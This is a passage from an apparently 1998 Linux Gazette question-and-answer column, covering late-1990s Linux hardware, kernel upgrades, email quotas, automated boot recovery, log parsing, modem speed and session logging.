upgrade (wipe and re-install from scratch) from SLS something (running a 0.99p10 kernel). I used to use that machine (antares) for everything (even X --- it has a 2mb STB Powergraph video card that cost more than a new motherboard would have). However, these days I mostly use 'canopus' -- a S.u.S.E. 5.1 upgraded to 5.3 (blindly --- I was feeling lazy!) My wife mostly uses her workstation, 'betelgeuse' --- which came from VA Research with some version of Red Hat (read the review I wrote for Linux Journal if you're really curious) --- and was upgraded (new installation on new drive, copy the data) to S.u.S.E. 5.2. So, you can see that we've used a variety of upgrade strategies around the house over the years. As for installing a new kernel. Do a good backup. Now ask: Can I afford a bit of down time if I break the system (while I restore it)? If the answer is "Yes" than go get a 2.1.124 (or later) kernel and try that. We're getting really close to 2.2 and only a few thousand people have tried the new kernels. So we want lots of people to at least try the current releases before we finally go to 2.2. (Linus doesn't want to have 36 "fix" releases to the next kernel series). The new kernel should be much faster in TCP/IP performance (already one of the fastest on the platform) and much, much faster in filesystem performance (using the new dcache system). So, try the new kernel. Be sure to get a new copy of pppd if you use that --- the kernel does change some structure or interface that the old version trips on. This upgrade will not be nearly as big a deal as the 1.2 to 2.0 shift (which was the most disruptive in the history of Linux as far as I can tell --- the formats of entries under /proc changed, so it broke the whole procps suite of utilities, like the 'ps' and 'top' commands). I haven't seen any such problems from the 2.0 to 2.1 kernels (I'm running a 2.1.123 at the moment, on canopus. antares is running on 2.0.33 or so --- it is least frequently upgraded because it is the server. (?) Looking forward to your answer. Frits. ____________________________________________________ (?) Linux Support for the DigiBoard C/X Intelligent Serial Ports From Dave Barker on 08 Sep 1998 I'm trying to setup a Linux RH 5.0 box as a dial in server using a DigiBoard C/X host adaptor and a 16 port C/Con 16 Concentrator. What I'd like to know is: Does Linux support Software controlled Serial Ports, meaning the current attempt has been to set up a 15MB dos partition as the boot, and install the DOS drivers from Digi, and then add the com ports into linux? (!) The question (as stated) is flawed. On a PC all multi-port serial boards require some form of software to control them (since the BIOS/firmware only supports 4 COM ports). In addition the BIOS support for COM ports is extremely limited and slow --- so all communications software (under DOS, Windows, OS/2, Linux and other forms of UNIX, etc) have bypassed the firmware and used direct access to the I/O ports that control the serial ports as well as those that actually carry the serial data). So, a more reasonably restatement of your question might be: Can Linux use the DOS drivers supplied by Digi? ... that answer is "no." (It is also "no" for NT, other forms of UNIX, OS/2 and probably for Win '95/'98 as well). Device drivers are generally not portably between operating systems. The interface between an OS kernel and its device driver is typically unique for each OS. There has been some discussion about creating a portable PC device driver specification --- to allows SCO, Solaris, Linux, and *BSD drivers to share (at least some) device drivers. That will probably never happen --- and even if it does it will probably never extend to non-Unix-like operating systems. Now, regarding the broader question: Does Linux support the Digi C/X intelligent serial port subsystem? When I last corresponded with Digi about this they assured me that they would have native Linux drivers by the end of that summer. That was over a year ago. I did check back on their web site a couple of months ago and it didn't seem to indicate that they'd ever delivered on this promise. The obvious thing to do would be to contact their support staff and ask for native Linux drivers. It may be that their web site is out of date, or that my efforts t weed through their pages was inadequate (the bigger the company, the worse their web site). [ I dunno about the Digi International site, (which is being redesigned right now) but the Linux Digiboard Page might be useful, even though it's rather old. -- Heather ] (?) Next if this would work in theory what is the proper way to go about setting the serial ports up? (!) The "proper way" would be to use the device drivers that work with your OS. Another way, might be to run the DOS drivers under 'dosemu' (configuring that with sufficient access to the hardware and I/O permissions map that the Linux kernel will let it drive the serial board). However, that would only allow DOS to access the devices. In the project where I initially contacted them I was using an operating system called TSX-32 (by S&H systems: http://www.sandh.com) --- and the TSX-BBS (also by them). This package is a 32-bit multi-user commercial (closed source) OS that's modeled after the old TSX-11 and RSX-11 (a predecessor to VMS on the PDP-11 platform). It also runs a decent DOS emulator and the BBS has some nice features that make it more scalable than any other that I'd seen (I've run Galacticomm MajorBBS and eSoft TBBS systems which used to be limited to single CPU's, had no TCP/IP support, no end-user scripting facilities, limited support for doors, and little or no support for intelligent serial hardware --- such that 255 was about the maximum --- PCBoard as limited to about 4 to 8 lines per PC --- and you needed a Netware server to cluster those. TSX-BBS can handle 250 lines per server and multiple servers can peer over TCP/IP for a potential of thousands of lines). Obviously Linux (and other forms of Unix) have that sort of scaleability --- given the drivers. There are some big Unix/Linux BBS' out there (like MMB "Teammate" and a native port of Galacticomm's BBS --- renamed to something like "WorldPort" --- though I don't remember the details). My enthusiasm for TSX-BBS has waned a bit (they aren't getting out the updates that I'd hoped for). However, that's a non-issue since I left that position long ago and no longer have to maintain any BBS' (and the whole dial-up bulletin board system phenomenon seems to have waned almost as much as UUCP). (?) I'm really in a bind here, and could use any help I can get! Thanks in advance David Barker jaeckyl@execpc.com (!) I would beat up on Digi --- and, if they don't satisfy your needs --- consider one of their other models (a number of them do support Linux) or Rocketport, Equinox, Comtrol, Cyclades, Stallion, or other vendors of multi-port serial hardware that will support Linux. Naturally I understand that this may entail major reworking of your plan. The C/X is the only system that I know of that allows you to connect 250 ports to a PC using only one bus slot. You might have to rework your plan to use multiple Linux systems, each with multiple serial port board, and configure those as "terminal servers" (have them binding the incoming serial/phone connections into 8-bit clean rlogin/telnet sessions to the master server. Of course you could also look at traditional terminal servers. These are router-like devices that do precisely what I've described (often with support for their own authentication --- RADIUS and/or various versions of TACACS, and support to provide PPP and/or SLIP instead of the rlogin/telnet like session that would be used for dial-up terminal use. Naturally to give you better advice and more specifics I'd have to know more about your requirements and less about the particular problems you're encountered with your currently proposed solution. All I can currently guess about your requirements is that you need support for a bunch of serial lines (you said "dial-in" so I can also guess that a bunch of modems are involved). If you already purchased the C/X and you already selected Linux for this project then shame on you --- you really need to do requirements analysis before committing to various implementation details (specific hardware and software). (If you're just stuck with some stuff you had laying about for a skunkworks project --- then my condolences; you might need to negotiate some funding for it). ____________________________________________________ (?) NE2000 "clones" --- not "cloney" enough! From Jack on 08 Oct 1998 Hi, I am a huge fan of Linux and all that GNU stands for. I got my first taste of Linux back in the 0.99 days. Since that time I have poked and prodded along with different flavors of installation, but due to my work environment I have never been able to jump in with both feet. I have finally scraped together a modest system for my home use that I can dedicate to Linux, and wanted to get it set up as a network server. I have been reading articles, HOWTOs, and the like about setting up network access. Each of the refrences have always begun past the step where I am getting hung up. I cannot get the system to recognize my eithernet card. True it is an NE2000 clone (cheap), but Win95 recognizes it just fine and the software packaged with it has no trouble locating the card, nor does the plug-n-pray BIOS. I read the Eithernet-HOWTO which tells about issuing commands during the lilo startup and tried that with the values returned from the packaged diagnostic software. I'm hoping this is just something I'm overlooking or mis-read or didn't read(yet), and not a situation where I need to upgrade the ethernet card (my last option). I came to you as my next to last option since you have given so many people good advice in the past. I hope you can help and look forward to hearing from you soon. Jack. (!) Replace the ethernet card. Go get a Netgear (Tulip based) or a 3Com (3c509). I had exactly the same problem when I first tried to configure a Linux system to use some NE2000 clone. It probably has nothing to do with Plug-n-pray or IRQ's or I/O ports, or kernel drivers, or options, or your ifconfig command. I tried everything with that card --- and it just plain wasn't recognized! Trust me. You can spend $30 (US) or less on a supported ethernet card and it will almost certainly just work. Or you can spend the same hours I did thinking "I must be stupid" and then go buy the card. The term NE2000 should be taken with a large block of salt (the kind we use to haul out to the horse pastures when I was a kid). They are "NE2000 compatible" in about the same way as a "winmodem" is "Hayes compatible" --- only when you use them through the "supported" software. True hardware level compatability involves using the exact same sets of I/O ports and other adnctions as the original. Most of the cheap NE2000 just aren't compatible, they have to supply their versions of the drivers --- and they only achieve "compatibility" through the software interfaces. ____________________________________________________ (?) The Infection and the Cure: (Good Times as a Virus) From peter.wiersig@db.com on 23 Oct 1998 You're certainly entitled to your opinion, and you could get much response and satisfaction (if you are troll) by I think I had been troll by sending my mail to the Answer Guy. (!) I didn't think you were trolling me. (?) None of this is relevant to Linux. Most Linux users are sophisticated enough to simply ignore these threads (clearly I fail that test, myself). I apologize. I had found the Linux Gazette lately and read many of the issues in the last days. I was impressed by your column and I am now enlighted, that I've contacted you in the wrong context. I hope I will think more about what to send to whom in the future. (!) No apology is necessary. You stated an opinion, I disagreed with it. The discussion is mildly offtopic. I pointed that out. (?) Some have referred to "Good Times" hoaxes as "mental viruses" --- more power to them. By their token *you* have been infected since you have revived (brought back to life) the discussion. Yeah, I should be more careful on the decision where I put my focus on. Hope I stole not too much of your time. (!) No problem. I'm the one that volunteers for this gig. (?) Yours, Peter Wiersig (If any of the above don't make much sense, maybe because english is not my first language.) (!) Sometimes I'm not sure my English is up to snuff either. ____________________________________________________ (?) More on International Keyboard Mappings and Monochrome X From Axel Harvey on 08 Sep 1998 Further to my verbose text of last night. I realized after spouting away that accent and symbol keys will not elicit any response from the shell command line (except a rude beep) but they do work perfectly well in text-receiving functions like pico and pine. I, poor sap, had been modifying and reloading my test keymap, then seeing if the keys worked from the command line...!??! I should have mentioned that the RedHat distribution has a French keyboard which works, but I don't find the layout very useful. I shall send them my own version of a French keyboard as soon as I have refined it sufficiently. (!) Yep. (?) I still don't understand my problem with X installation. (!) Have you tried the suggestions I already gave? (?) Are you plagued by questions from stupid guys who could solve their own mysteries with one more hour of futzing? (!) That's not stupidity. Hours of "futzing" is experience. I personally feel that the hours of "futzing" that I've done should benefit others besides myself. However, I am plagued by questions that are more readily answered in HOWTO's and even some questions that I can only categorize as stupid (like phreak/cracker wannabe's and jobhunting AS/400 specialists). ____________________________________________________ (?) Suggestions for Linux Users with Ultra Large Disks From Tom Watson on 09 Sep 1998 Answer guy: In several questions, I see people asking about booting large disks with older machines. A while ago I built up a machine like this, and had a reasonable solution. While I can understand that the problem is often interference with the "other" operating systems, in the case I used, I had an older '486 motherboard which given the requirements for windoze was a bit out of date, but quite reasonable for Linux. In attempting a "normal" installation on the larger disk, the first (root) partition was quite a bit over the 540 MB BIOS limitation. It took me a few attempts at running LILO and understanding its error messages (I even tried the "linear" option) to understand the problem (I hadn't used a disk that large before). When I remembered the "540MB" problem, the solution that I explained above seemed the "easiest" to implement, and with the least amount of "hassle". It only took a few symbolic links/copies and I was done. The "basic" root partition was still intact, and nobody really worried about the difference. I feel that if I wanted to, I could have made a "small" partition and installed the "root" files there, but most installations want a larger partition to get "the whole works" installed. Sure this gets around the "1024 cylinder" problem, but usually that is all that is needed. Linux, once it has started the kernel, supplies the drivers for further operation. The small partition is only used to accomidate the BIOS, whose ONLY function is to load the kernel anyway. I suppose an altrenative is to use "loadlin" under dos, but you still need to boot DOS, and the 1024 cylinder problem comes up again. I'm trying to get a solution that involves "minimum impact". -- Tom Watson I'm at work now (Generic short signature) (!) All true enough. My point is that my answers are not simply intended to show what works for me or what is minimum impact for one situation (usually a situation about which I'm given very little information). My answers try to cover a large number of likely situations and to suggest things that no one seems to have tried before (like the auto-rescue configuration I was babbling about). I've frequently suggested small partitions, LOADLIN, alternate root partitions, even floppy drive kernels. Another problem --- the source of this whole thread has to do with support for these Ultra-DMA drives that are over 8Gb. I guess that the most recent kernels (2.0.35 and later?) have support for a different IDE driver that can handle these. I thought I'd seen reports of problems with them. I commented on this in the hopes that someone would give me the scoop on those. ____________________________________________________ (?) Query From Christopher & Eunjoo Kern on 21 Oct 1998 Mr. James Dennis: I had been given your name as a reference from a coworker of mine. He has told me that you often answer the most difficult of questions regarding Windows 95 and Linux software. Are you indeed the fellow my friend speaks of, and could you possibly answer a question or two of mine? Kern. (!) I actually answer Linux questions. I get alot of Win '95 questions, which I grudgingly answer to some small part of my extremely limited ability. Although I bump into Win '95 occasionally at my customer's sites and with some friends, I probably have clocked in less than 10 hours of "driving time" on it and NT and Win '98 all told. I answer Linux questions for free for the Linux Gazette. You can see many of those by pointing your web browser at: http://www.linuxgazette.com (they also have a nifty search feature). Linuz Gazette is part of the Linux Documentation Project (LDP: http://www.sunsite.unc.edu). That's the best resource for basic Linux information. So, what are your questions? ____________________________________________________ (?) Conflict: Num-Lock, X Window Managers, and pppd From Victor J. McCoy on 11 Oct 1998 Please publish this. After the original question, I received a number of inquiries indicating that I'm not the only one with this problem. Last year LG22 (Oct97) I asked a question regarding window manager and pppd anomaly. Quick answer: Num-Lock key activation. Long answer: I finally got fed up with the problem, so I tore my machine apart, down to a single SCSI controller (with only my root drive), keyboard, modem. The problem continued. I upgraded to redhat 5.0 since, and the problem persisted, different Window managers also exhibit problems (just differently). I even changed to Caldera lite 1.2, and I still had the problem. Believe it or not, it turned out to be my NUM-LOCK key. If NL is active, then the WM screws up EVERY TIME; different WMs just screw up differently. I would turn on Num-lock to ping a host IP addr and that would be all it took. I have a MS natural keyboard (Of all the products MS has, software sucks, but I love the hardware [KB and Mouse].) I'm sure that's not the problem, because I've only recently acquired the KB and the problem has been around for a couple of years. I would like to know if this is a widespread problem. Surely, I'm not one of very few people to use the numeric keypad. Victor J. McCoy (!) I'll just let this message speak for itself. I'm not really sure what it's saying but it sounds like a call for other people to do some testing. What happens if you have your NumLock key active when you start up and user your ppp link from within an X session. As for ways to try to alleviate the problem: * Change to a newer (2.1.x) kernel and a new pppd (must do that to use PPP under the new kernels anyway). * Try a different X server. If you're currentlly using XFree86, consider tying Xig or Metro-X (one of the commercial X suites for Linux). ... I don't know of good ways to troubleshoot or isolate this, off hand. Look in your syslog (/var/log/messages) for "ooops" or similar messages from the kernel. Try strace on the X server and the window managers, the pppd (also run it under full debugging and kdegug). Try adding ipfwadm (or ipchains) rules with the -o switch (to "output" details of every packet to your syslogs). You could also capture tcpdump's from the ppp0 interface during the whole affair. It's probably something specific to your hardware --- since you've changed your software completely. I'll be curious if you can isolate the problem to a specific library function or system call. ____________________________________________________ (?) Quotas for Outgoing e-mail From tng on 14 Sep 1998 I've been searching for 3 days on setting up some kind of e-mail quota to restrict the abount of e-mail that can be sent by aparticular person. I been to altavista did a search that turned up 1700 maches none of which were of any help. I went to sendmail.org and browsed their their online documentation, gone through news group archives to find myself still wondering if there is software available to do it. I found lots of info about setting up bulk e-mailers and stopping incomming spam but nothing for stopping my local users from bulk e-mailing and spamming others. I would be greatful for any help on this matter. thanks in advance... tng (!) Well, that's a new one. I don't know of any package that does this. I'm sure it can be done --- you could define a custom mailer (one of those funny looking Mprog lines in a sendmail.cf file). Let's call this the quota mailer --- you'd then define that as the mailer to over-ride the built-in smtp mailer. You're quota mailer could then be reponsible for counting messages, addresses, bytes, etc and updating a database of authorized users and relayers --- and then relaying the mail into a queue where a different sendmail (using a different configuration) would send it out (probably as a regular 'cron' job). The quickest way to get such a beast built might be to hire a consultant like Robert Harker (he specializes in 'sendmail' and teaches tutorials in it http://www.harker.com). For qmail or VMailer there might be an easier way. Another problem you'll have with this is that you'd have to prevent people from bypassing all of your mail user agents and sending their mail using some custom program that they've installed themselves. This could work by simply opening a TCP connection to the smtp port (25) of their addressee's sites (or any open relayer) directly. You'd have to put packet filters on all of your egress routes (firewalls and border routers) to prevent this, thus forcing your customers/user to use your outbound relay. There are several commercial products that do filtering of outbound mail (MIMESweeper, WebShield, that sort of thing). They purport to protect companies from insiders who might be mailing company secrets out to their competitors. In general I think this is a pathetic approach to the risk (they can easily shove the data on a diskette, Zip disk or whatever, and mail it; or they can encrypt it --- using pkzip with it's "scramble" encryption and mail that as a "bitmap" --- or they can use freely available tools to do some serious steganography). However, these "mail firewalls" may be adaptable to your needs. Also, there may be some free one floating around that I haven't heard of. The best place to ask for more info on this is in the comp.mail.sendmail newsgroup (I don't know of a general mail transfer agents newsgroup -- so c.m.sendmail seems to get all of that traffic. I expect there'll be a comp.mail.qmail and a comp.mail.vmailer eventually). I suppose you could also ask in comp.security.firewalls --- and you could dig up the mailing lists for qmail, VMailer and the firewalls mailing list (which recently moved off of Brent's site at Great Circle Associates and is hosted by some friends of his at GNAC) --- you'll have to spend some quality Yahoo!/Deja News/Alta Vista time hunting down those venues. ____________________________________________________ (?) Automated Recovery from System Failures From anonymous on the L.U.S.T List on 2 Sep 1998 And there will be no human to manually check on the partitions after a power failure. What's wrong with e2sck? TTYL! (!) I was thinking about this recently and I came upon an intereseting idea. (I think a friend of mine used the following trick in a commercial product he built around Linux). The trick is to install two root filesystems (preferably on different drives -- possibly even on different controllers). One of them is the "Rescue Root" the other is the "Production Root." You then configure the "rescue root" partition as the default LILO device and modify the shutdown sequence to over-ride that default with an /sbin/lilo -R command. If the system boots from the rescue root it is because the system was booted irregularly. The standard shutdown sequence was not run. That rescue root can then do various diagnostics on the product root and other filesystems. If necessary it can newfs and restore the full production environment (from another, normally unused, directory partition or drive). The design of the rescue root is a matter for some consideration and research. Normally the system will boot into "production" mode. Periodically it can mount the alternative root fs to do filesystem checks and/or an extra filesystem to do backups (of changes to the configuration files). You can ensure that these configuration backups are done under a version control system so that degenerative sets of changes can be automatically backed out in an orderly fashion. If you combine this with a watchdog timer card and a set of appropriate system monitoring daemons (which all talk to a dispatch that periodically resets the watchdog timer), you should have a system that has about the most bulletproof autorecovery as is possible on PC equipment. I should note that I haven't prototyped such a system yet. I've just thought of it. A friend of mine also suggested that we devise a way to have another proximate system also doing monitoring (possibly via a null modem). He says he knows how to make a special cable which would plug into the guard dog's printer/parallel port (guard dog is what I've been calling the hypothetical proximal system) and would be run into the case of the system we're monitoring where it would be fit over the reset pins. This, with a small driver should be able to strobe the reset line. (In fact I joked that we could create a really special cable that would daisy chain to as many as eight other systems and allow independent reboot of any of them). In any event the monitor system would presumably monitor some/most of the same things as the watchdog timer; so I don't know what benefit it would ultimately offer (unless it was prepared to do or initiate failover to another standby system). Perhaps this idea might be of interest to the maintainer of the High-Availability HOWTO (Harald Milz -- whom I've blind copied on this message). It's not really "High Availability" but "Automated Recovery" which might be sufficiently close for many applications. (i.e. if a web, mail, dns, or ftp server's downtime can be reduced from "mean hours per incident" to "mean minutes per incident" most sysadmins still get lots of points). ____________________________ (?) Automated Recovery from System Failures From R P Herrold on 04 Sep 1998 (!) We build custom Linux solution boxen. In our Build outline, we take this concept a step further in setting up a redhat system -- we carry a spare /boot partition: (extract) (base 5.0 install) Part name size Cyl cume actual min ==== ========== ==== ==== ==== ========== 1 /boot 20 ___ 20 2 root 30 ___ 50 23 (/bin ___ M) (/lib ___ M) modules (/root ___ M) (/sbin ___ M) 3 swap 30 ___ 80 4 (extended) 5 /mnt/spare 30 ___ 110 1 ... The minima in a 'stripped down' / [root] partition vary depending on where /lib, /var, and /usr end up -- of late, a lot of distributions' packages feel a need to live in /bin or /sbin unnecessarily -- and probably should be in the /usr tree ... Likewise, if a package is NOT statically linked, one can end up with problems, if a partition randomly decides to 'go south.' (!) I was thinking about this recently and I came upon an intereseting idea. (I think a friend of mine used the following trick in a commercial product he built around Linux). (!) ... We use the 'trick' as well (!) The trick is to install two root filesystems (preferably on different drives -- possibly even on different controllers). One of them is the "Rescue Root" the other is the "Production Root." You then configure the "rescue root" partition as the default LILO device and modify the shutdown sequence to over-ride that default with an /sbin/lilo -R command. (!) ... carrying the full [root] partition (!) I should note that I haven't prototyped such a system yet. I've just thought of it. A friend of mine also suggested that we devise (!) ... It works, and can avoid the need to keep a live floppy drive in a host which would otherwise require one for emergency purposes ... aiding in avoiding physical security issues [ normally I remove sig blocks, but since he copyrighted his... I guess I'll leave it in. Curious one should post a copyright into open mailing lists, though. -- Heather ] .-- -... ---.. ... -.- -.-- Copyright (C) 1998 R P Herrold herrold@usa.net NIC: RPH5 (US) My words are not deathless prose, but they are mine. Owl River Company 614 - 221 - 0695 "The World is Open to Linux (tm)" ... Open Source LINUX solutions ... info@owlriver.com ____________________________________________________ (?) Re Script From Joe Wronkowski on 23 Oct 1998 Hi Jim, I was just wondering if there was an easy way to grab the time/date Oct 6 21:57:33 from the same line the 153.37.55.** was taken from. If you are busy I understand. Thanks Joe Wronkowski (!) The following awk expression will isolate the date and time from these example lines: date="$1 $2" time="$3" (?) sample of log file: Oct 6 21:50:19 rogueserver in.telnetd[197]: connect from 208.224.174.21 Oct 6 21:50:24 rogueserver telnetd[197]: ttloop: peer died: Success Oct 6 21:55:29 rogueserver in.telnetd[211]: connect from 208.224.174.21 Oct 6 21:55:35 rogueserver telnetd[211]: ttloop: peer died: Success Oct 6 21:57:33 rogueserver in.pop3d[215]: connect from 153.37.55.65 Oct 6 21:57:34 rogueserver in.pop3d[215]: Servicing request for rogue ____________________________________________________ The original message in this thread appeared in Issue 31, and the comp.unix.questions newsgroup. This volley resulted: ____________________________ From Michael Schwab on 30 Sep 1998 Hello, I just read the article about So please don't say "WHO CARES ABOUT THAT?" (!) I'll say what I bloody well feel like saying! (And I expect my editors, and readership to respond as they see fit). I'm sorry if that seems like a harsh thing to say but frankly I think you missed the whole point of what I was trying to say before. First, I don't know of a general way to get the connect speed. It's probably modem specific, so you could probably write a script that queries your modem to get the info. Your script would probably not work with most other modems, and you'd have to hack it into whatever communications package you were actually using on that modem (pppd, uucico, minicom, kermit, slip, whatever). Another point I made is that the speed is likely to fluctuate frequently throughout the duration of a connection (particularly with any 28.8 or faster modem). It's likely to start out a bit high and be adjusted downward until the corrected error rate attains an suitable threshold. So, if you had your script reporting a connection speed at one instant --- it would tell you almost nothing about your sustained throughput. (?) I do !! (!) More power to you. I didn't ask who cares? I asked what benefit those who "think" they care hope to derive from this statistic. I can test the temperature in my house to with an arbitrary precision. However, the numbers on a thermometer will not motivate me to reset my thermostat or go out and buy a new furnace or air conditioner. It's a meaningless statistic that is no benefit to me. Also there isn't just one temperature in my home -- there's a whole range of fluctuating temperatures. So precise measurement would be non-trivial. For subjective issue there's no point in going to great measurement effort. When I'm cold I either turn up the thermostat, or (more likely) toss on a sweater or some little fuzzy booties. Now, it is the case that I might do some measurements when I'm troubleshooting a line. I'd certainly expect a telco technician to do so if I was complaining about line quality --- and I might do so to "motivate" a telco (or to file my complaint with a public utility commission). If course if I was really serious about a line quality issue I'd rent an oscilloscope and look through a Fluke (TM) catalog to find a chart-strip recorder for the job. So these numbers aren't completely useless in all contexts. However, the number of people who can make reasonable use of them is fairly limited. (?) How can you tell the connection speed that a modem auto-negotiates when dialing an ISP? My system log (/var/log/messages in RH5.1) does tell me the line speed I have set in the chat script, but I would like to know the connect speed as well (56K, 33.6, etc). I know this info must be available somewhere/somehow. (!) Modern modems don't just auto-negotiate at the beginning of a call. The "retrain" (negotiate speed changes) throughout a call's duration. You'd "like" to know. Put what would you do with this? Order you phone company to pull new copper to your house? Return your modem and try another one? Switch to tachyon beams? As for "this info must be available" --- look in the programming manual for your modem, if you can find one. It used to be standard for modems to come with a pretty decent technical manual --- providing details on a couple hundred AT commands that comprised that manufacturer's extensions beyond the based "Hayes" set for that particular model. These days you'll be lucky if you pry a dinky little summary of a tiny subset of their diagnostics and commands out of most of these manufacturers. (?) I don't know how to really get the connect speed but that might be not so important. Since I have a leased line to the Internet with a modem it is important for me to know how fast my line is running because sometimes this Line might have a lot of noise on it and the connect might be only 4800 bps instead of 33600 bps. In this case I have to call my Telecommunications provider to check the line !!! (!) If your connection varies by this much you'll know it. You won't need any numbers to tell you that it's *slow*. If you are trying to serve your customers (web site users, whatever) over this line --- it does make sense to monitor the bandwidth and latency. However these are higher level networking issues that are only marginally related to the underlying connection speed. (?) But its easy to detect just send a ping to the other side when the line has low traffic. I do this by sending approx 20 pings and then look at the (lowest) roundtrip time. You can send a ping containing 8192 or 16384 bytes of data and you will detect nearly every change in bandwith. (!) Aha! Now this is a totally different metric. You aren't measuring "modem connection speed" you're measuring latency and throughput! Doing this once every two or three hours with about 5 pings and setting "watcher" to monitor those and warn you when the latency get's too high or the throughput gets too low would make sense --- for a dedicated line where you are concerned that you customers/users are waiting "too long" for their traffic. There is a package called MRTG --- the "multi-router traffic grapher" which can be used to create web page graphs of your network traffic statistics over time. It seems to be primarily used by larger sites for ethernet. However it might have some facilities for monitoring PPP (even SLIP) lines. Actually MRTG depends on SNMP so I should say that you might figure out how to configure the CMU SNMP agents for Linux to interface to your serial interfaces --- and then MRTG could provide the graphs. However, you don't technically need to run SNMP under MRTG --- their docs suggest that you can use various commands to provide it statistics to graph. You can read more about MRTG at: http://ee-staff.ethz.ch/~oetiker/webtools/mrtg/mrtg.html (?) Best Regards Michael Schwab ____________________________ (?) RE how to find out the serial connect speed of a modem From Michael Schwab on 30 Sep 1998 OK the Intention of the Mail send by me was mainly to give a short help on what might be a suitable answer on the quistion posed in Linux Gazette. Despite of this THANKS FOR YOUR VERY LONG MAIL, now it's much clearer what you were saying and why. I agree with you when you say the connect speed is unimportant because it changes anyway during the connectiontime. Sinec the guy who send the question to you said that he connects to his ISP so I suggested that might monitoring bandwith ans latency also might be more meaningfull for him than just getting the connect speed ! Anyway thanks for your Answer ..... see you soon Michael Schwab ____________________________________________________ (?) Telnet/xterm: Log to file From Jason Joyce on 07 Oct 1998 How can you log a telnet session using it from an xterm in Linux? I need to create a log of my actions during a telnet session, and I know that you can do it using telnet under Microsoft. And I know that if those guys have it, then they must have copied it from somewhere, and so I believe that it is possible using Linux, but I can't find any way. Thanks for any help, Jason (!) You can run the 'script' command (which creates a "transcript" named "typescript" by default. You can also run the 'screen' utility, which, among many other features, allows you to take open multiple screen sessions through one virtual console, telnet, xterm, or even dial-up VT100 sessions and dumb terminals. Think of having all the power of your virtual consoles from any sort of terminal/shell session. You can do screen snapshots, open and close log files, view a backscroll buffer (with 'vi' like search features), mark and paste text (keyboard driven), do a screen lock, and even detach the whole screen session from your current terminal, xterm or whatever (and re-attach to it from any login, from that or any other terminal, later). I routinely run 'screen' for all my sessions. When I log into one of my ISP shell accounts I prefer to run 'screen' at the far end because it will auto-detach if my modem disconnects me. So, I can redial, re-attach and resume my work. I can also dial into my home system, do a 'kill -HUP' on my screen process (actually a 'screen -d -R' will auto located, HUP, and re-attach all at once) and continue working on all ten of the interactive programs that I had running at the time. There are other ways you can do this. There was a sample script in 'expect' that did this in about 10 lines of TCL/expect code. You can also use Kermit (ckermit, from Columbia University). This is a communications package, file transfer package and network client. I wrote an article for SysAdmin Magazine about a year ago to describe its use as a telent/rlogin client. In addition to be fully scriptable and supporting the same file transfers over TCP/IP as it does over any serial connection; it's also possible to do logging and exentisive debugging using Kermit. The next version (currently still in beta?) should support Kerberos authentication and encryption (one of several enhancements that I beat up on Frank de la Cruz --- it's principal author and co-ordinator --- about while researching my article). So, there's about four options off the top of my head. ____________________________________________________ (?) Finding Soundcard Support From Nathan Balakrishnan on 23 Oct 1998 Hello, Do you know wheather YAHAMA OPL3-SAx WDM soundcard is directly supported by Redhat 5.0 and how would I go about setting it up under Linux if it isn't? NATHAN (!) The best source of information on this subject is probably the "The Linux Sound HOWTO" (http://www.ssc.com/linux/LDP/HOWTO/Sound-HOWTO.html) by Jeff Tranter . I think most of the kernel sound support was originally donated by Hannu Savolainen of 4 Front Technology (http://www.4Front-Tech.com/oss.html) which also sells their "Open Sound System" package (for about $20 US (presumably)). The version that's included with Linux is known as OSS/Free while OSS/Linux is 4 Front's commercial version. They also support sound drivers on numerous other versions of Unix. I guess there is an independent "Linux Ultra Sound Project" (http://home.pf.jcu.cz/~perex/ultra) which a list of or "Advanced Linux Sound Architecture" which includes your model on their list of supported cards (http://alsa.jcu.cz/src/soundcards.html). So, try reading those and see if that helps. I personally have almost never used any sound cards. My computers make enough noise with all those fans and disk drives. ____________________________________________________ (?) Problems with a SCSI Tape Drive From Ralf Schiemann on 23 Oct 1998 Hi, I've a problem with backing up our file server (Linux 2.0.33). Attached to the server is a HP C1557A SCSI TapeLoader (6 x 24 GB). Actions on the loader are done without any problems (e.g. loading and unloading of tapes). But if I try to do a backup via tar (tar cvf /dev/st0 /tmp) the tape display is telling me "Write" and after a short while "Tape Position lost". In /var/log/messages I find the following errors: kernel: st0: Error with sense data: extra data not valid Deferred error st09:00: sense key Medium Error kernel: Additional sense indicates Sequential positioning error kernel: st0: Error on write filemark. Can you tell me whats going wrong?? Any help is welcome, Ralf (!) I would look at SCSI termination and cabling problems. It sounds like commands are getting through the interface just fine, and streams of data are causing the problem. You don't say what kernel version nor which SCSI adapter and drivers you're using. If this is a modular kernel, try compiling the appropriate SCSI driver directly into it (to eliminate any chance of anomalies with automatic loading and removal of the SCSI drivers by kerneld, etc). Try compiling a very minimal kernel with just the drivers you need to do your backup. You want to see if there's some strange conflict between your drivers. Finally you might try testing this with a different SCSI adapter, with no other peripherals on it and the best cable you can buy. Is this an internal or external unit? I'm guessing external since DAT autochangers are pretty big for internal drive bays). If you can afford it, it's best to put your SCSI tape drive on a separate SCSI card (a fairly cheap $60 ISA card is fine). This allows you to put the tape drive off that system without having to reboot, and it maximizes performance on the other bus. ____________________________________________________ (?) Test Suites for GNU and other Open Source (TM) Software From Steve Snyder on 20 Sep 1998 Is there a validation test suite for glibc v2.0.x? I mean a more comprehensive set of tests than are run by "make check" after building the runtime libraries. (!) Not that I know of. I guess the conventional wisdom is that if I install glibc, and a bunch of sources and I compile the sources against the libc and run all of them --- that failures will somehow be "obvious." Personally I think that this is stupid. Obviously it mostly works for most of us most of the time. However, it would be nice to have full test and regression suites that exercise a large range of functions for each package --- and to include these (and the input and reference data sets) in the sources. It would also be nice if every one of them included a "fuzz" script (calling the program with random combinations of available options, switches and inputs --- particularly with a list of the available options). This could test the programs for robustness in the face of errors and might even find some buffer overflows other bugs. However, I'm not a programmer. I used to do some quality assurance --- and that whole segment of the market seems to be in a sad state. I learned (when I studied programming) that the documentation and the test suite should be developed as part of the project. User and programmer documentation should lead the coding (with QA cycles and user reviews of the proposed user interfaces, command sets, etc, prior to coding. The "whitebox" test suites should be developed incrementally as parts of the code are delivered (if I write a function that will be used in the project, some QA whiteboxer should write a small specialized program that calls this function with a range of valid and invalid inputs and tests the function's behaviour against a suite that just applies to it). Recently I decided that md5sum really needs an option to read filenames from stdin. I want do write some scripts that essentially do: 'find .... -print0 | md5sum -0f ' ... kind of like 'cpio' Actually I really want to do: 'rpm -qal | regular.files | md5sum -f' ... to generate some relatively large checksum files for later use with the '-c' option. This 'rpm' command will "Query All packages for a List of all files. The regular.files filter is just a short shell script that does: #!/bin/sh ## This uses the test command to filter out filenames that ## refer to anything other than regular files (directories, ## Unix domain 